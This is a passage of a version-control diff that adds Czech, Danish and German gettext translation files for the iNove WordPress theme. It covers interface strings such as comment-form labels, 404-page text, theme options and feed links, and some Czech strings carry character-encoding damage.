+msgid "Welcome back %s." +msgstr "Vítejte zpÄ›t %s." + +#: comments.php:158 +msgid "Change »" +msgstr "ZmÄ›nit »" + +#: comments.php:159 +msgid "Close »" +msgstr "Zavřít »" + +#: comments.php:166 +msgid "Name" +msgstr "Jméno" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(povinný)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "E-Mail (nebude publikován)" + +#: comments.php:174 +msgid "Website" +msgstr "Webová stránka" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "RSS kanál s komentáři" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Odeslat komentář" + +#: footer.php:17 +msgid "Top" +msgstr "Nahoru" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "" + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Volby pro zvolené téma" + +#: functions.php:194 +msgid "Search" +msgstr "Vyhledávání" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Použití google custom search engine." + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +#, php-format +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Najděte name=\"cx\" v Search box code of Google Custom Search Engine, a napište hodnotu zde.
    Například: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "Menu" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Zobrazit stránky jako menu." + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Zobrazit kategorie jako menu." + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Poznámka" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML povoleno" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Tento panel s poznámkou bude zobrazen nahoÅ™e nad příspÄ›vky na homepage." + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Kdo to může vidÄ›t?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Registrování uživatelé" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Komentátor" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "NáštÄ›vníci" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Showcase" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Showcase bude zobrazen nahoÅ™e boÄního panelu." + +#: functions.php:329 +msgid "Title:" +msgstr "Název:" + +#: functions.php:345 +msgid "Posts" +msgstr "PříspÄ›vky" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "Zobrazit autorův u příspÄ›vků." + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Zobrazit kategorie u příspÄ›vků." + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Zobrazit Å¡títky u příspÄ›vku." + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "RSS kanál" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "Uživatelský kanál." + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "Email feed." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Uložit zmÄ›ny" + +#: functions.php:567 +msgid "Reply" +msgstr "OdpovÄ›d" + +#: functions.php:568 +msgid "Quote" +msgstr "Citovat" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "PokroÄilé úpravy" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "Váš komentář Äeká na schválení." + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "Upravit odkazy" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Odebírat tento blog..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "PÅ™ihlásit k odbÄ›ru pomocí " + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Odebírat tento blog emailem" + +#: sidebar.php:40 +msgid "Email feed" +msgstr "Email feed" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "PÅ™ejít na homepage" + +#: single.php:7 +msgid "Home" +msgstr "Domů" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/da_DK.mo Binary file web/wp-content/themes/inove/languages/da_DK.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/da_DK.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/da_DK.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,570 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 14:01+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Danish\n" +"X-Poedit-Country: DENMARK\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - alle indlæg" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - alle kommentare" + +#: 404.php:22 +msgid "Talker" +msgstr "Snakker" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Velkommen til fejlside 404!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Velkommen til denne tilpassede fejlside. Du har nået denne side, fordi du har klikket pÃ¥ et link, der ikke findes. Det er sandsynligvis vores skyld ... men i stedet for at vise dig denne normale 404 Fejlside, der er forvirrende og egentlig ikke forklare noget! Vi har oprettet denne side til at forklare, hvad der gik galt." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Du kan enten (a) Klik pÃ¥ knappen etilbagee i din browser, og prøv at navigere gennem vores site i en anden retning, eller (b), skal du klikke pÃ¥ følgende link for at gå til hjemmesiden." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Tilbage til startsiden »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Søgeresultater" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Nøgleord: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Arkiv" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Arkiv for kategorien ‘%1$s’" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Idlæg Tagged ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Arkiv for %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "j F, Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Forfatter Arkiv" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Blog Arkiv" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Rediger" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Ingen kommentarer" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 kommentar" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% kommentarer" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Læs mere..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Beklager, ingen indlæg matchede dine kriterier." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Nyere Påtegninger" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Ældre Påtegninger" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Efterlad en kommentar" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "Gå til kommentarer" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Indtast din adgangskode for at se kommentarer." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Kommentarer" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Trackbacks" + +#: comments.php:34 +msgid "Trackback" +msgstr "Trackback" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Ingen kommentarer endnu." + +#: comments.php:72 +msgid "Comment pages" +msgstr "" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s på %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Ingen Trackbacks endnu." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Kommentarer er lukkede." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Du skal være logget ind for at skrive en kommentar." + +#: comments.php:150 +msgid "Logged in as" +msgstr "Logget ind som" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Log ud af denne konto" + +#: comments.php:151 +msgid "Logout »" +msgstr "Log ud »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Velkommen tilbage % s." + +#: comments.php:158 +msgid "Change »" +msgstr "Ændre »" + +#: comments.php:159 +msgid "Close »" +msgstr "Luk »" + +#: comments.php:166 +msgid "Name" +msgstr "Navn" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(påkrævet)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "E-Mail (vil ikke blive offentliggjort)" + +#: comments.php:174 +msgid "Website" +msgstr "Hjemmeside" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Abonner på kommentarer feed" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Indsend kommentar" + +#: footer.php:17 +msgid "Top" +msgstr "Top" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "Thema af NeoEase. Gyldigt XHTML 1.1 og CSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Aktuelle tema Valg" + +#: functions.php:194 +msgid "Search" +msgstr "Søgning" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Ved hjælp af Google Custom Search Engine." + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +#, php-format +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Find name=\"cx\" i Søgefeltskode af Google Custom Search Engine, and type the value her.
    For eksempel: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "" + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "" + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Meddelelse" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML aktiveret" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Denne meddelelse bar vil blive vist i toppen af indlæg på hjemmesiden." + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Hvem kan se?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Registrerede brugere" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Kommentator" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Besøgende" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Showcase" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Denne showcase vil vist øverst på sidebjælken." + +#: functions.php:329 +msgid "Title:" +msgstr "Title:" + +#: functions.php:345 +msgid "Posts" +msgstr "Idlæg" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "Vis forfatter ved indlæg." + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Vis kategorier ved indlæg." + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Vis tags ved indlæg." + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "Feed" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "Tilpasset feed." + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "Email feed." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Gem ændringer" + +#: functions.php:567 +msgid "Reply" +msgstr "Svar" + +#: functions.php:568 +msgid "Quote" +msgstr "Citat" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Rediger" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "" + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "Rediger links" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Abonner på denne blog..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Abonner med" + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Abonner på denne blog via e-mail..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "Email feed" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "Gå til hjemmeside" + +#: single.php:7 +msgid "Home" +msgstr "Hjem" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/de_DE.mo Binary file web/wp-content/themes/inove/languages/de_DE.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/de_DE.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/de_DE.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,570 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 21:45+0800\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: German\n" +"X-Poedit-Country: GERMANY\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - Alle Artikel" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - Alle Kommentare" + +#: 404.php:22 +msgid "Talker" +msgstr "Talker" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Willkommen auf der 404 Fehlerseite" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Willkommen auf dieser Fehlerseite. Du bist hier gelandet weil Du auf einen Link geklickt hast, der nicht existiert. Das ist wahrscheinlich unser Fehler... Um Dich nicht weiter zu verwirren haben wir Dich auf diese Seite geschickt, statt Dir eine weisse 404 Error Page zu servieren. " + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Du kannst versuchen über den 'Zurück' Button in Deinem Browser auf eine andere Weise weiterzumachen oder klicke auf den folgenden Link um zur Startseite zu gelangen." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Zurück zur Homepage »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Suchergebnisse" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Keyword: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Archiv" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Archiv für die Kategorie ‘%1$s’" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Artikel Tagged ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Archiv für %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "j. F Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Autor Archiv" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Blog Archiv" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Bearbeiten" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Keine Kommentare" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 Kommentar" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% Kommentare" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "Kommentare ausgeschaltet" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Mehr..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "Kategorien" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Sorry, es gibt keine entsprechenden Artikel." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Neuere Einträge" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Ältere Einträge" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Einen Kommentar schreiben" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "Kommentare" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Bitte Passwort eingeben für Kommentare" + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Kommentare" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Trackbacks" + +#: comments.php:34 +msgid "Trackback" +msgstr "Trackback" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Bisher keine Kommentare" + +#: comments.php:72 +msgid "Comment pages" +msgstr "Kommentar Seiten" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s, %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Bisher keine Trackbacks" + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Kommentare sind geschlossen" + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Du musst Dich anmelden um einen Kommentar zu schreiben" + +#: comments.php:150 +msgid "Logged in as" +msgstr "Angemeldet als" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Abmelden" + +#: comments.php:151 +msgid "Logout »" +msgstr "Abmelden »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Willkommen zurück %s." + +#: comments.php:158 +msgid "Change »" +msgstr "Ändern »" + +#: comments.php:159 +msgid "Close »" +msgstr "Schließen »" + +#: comments.php:166 +msgid "Name" +msgstr "Name" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(benötigt)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "E-Mail (wird nicht veröffentlicht)" + +#: comments.php:174 +msgid "Website" +msgstr "Website" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Kommentare abonnieren" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Kommentar veröffentlichen" + +#: footer.php:17 +msgid "Top" +msgstr "Oben" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Aktuelle Themen Optionen" + +#: functions.php:194 +msgid "Search" +msgstr "Suche" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Google Suche benutzen." + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +#, php-format +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Suche nach name=\"cx\" in der benutzerdefinierten Suche von Google . Bitte gebe den Wert hier ein.
    Zum Beispiel: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "Menübar" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Zeige Seiten als Menü." + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Zeige Kategorien als Menü." + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "Sidebar auf allen Seiten ausblenden" + +#: functions.php:246 +msgid "Notice" +msgstr "Notiz" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML aktiviert" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Dieses Notizfeld wird am Anfang der Artikel der Homepage dargestellt." + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "Dieser Banner wird auf der rechten Seite des Kopfes dargestellt (Höhe: 60 Pixel)" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Sichtbarkeit" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Registrierte Benutzer" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Kommentator" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Besucher" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Showcase" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Dieses Showcase wird am Anfang der Sidebar dargestellt." + +#: functions.php:329 +msgid "Title:" +msgstr "Titel:" + +#: functions.php:345 +msgid "Posts" +msgstr "Artikel" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "Autor zu Artikeln anzeigen" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Kategorien zu Artikeln anzeigen" + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Tags zu Artikeln anzeigen" + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "Kommentare mit Ctrl+Enter abschicken" + +#: functions.php:381 +msgid "Feed" +msgstr "Feed" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "Zeige die Feed Reader indem Du die Maus &uunl;ber den Feed Button hälst" + +#: functions.php:390 +msgid "Custom feed." +msgstr "Benutzer Feed." + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "Email Feed." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Änderungen speichern" + +#: functions.php:567 +msgid "Reply" +msgstr "Antwort" + +#: functions.php:568 +msgid "Quote" +msgstr "Zitat" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Erweitertes Bearbeiten" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "Dein Kommentar wartet auf Moderation und Veröffentlichung" + +#: links.php:18 +msgid "Add link" +msgstr "Link hinzufügen" + +#: links.php:19 +msgid "Edit links" +msgstr "Links bearbeiten" + +#: sidebar.php:25 +msgid "Subscribe to this 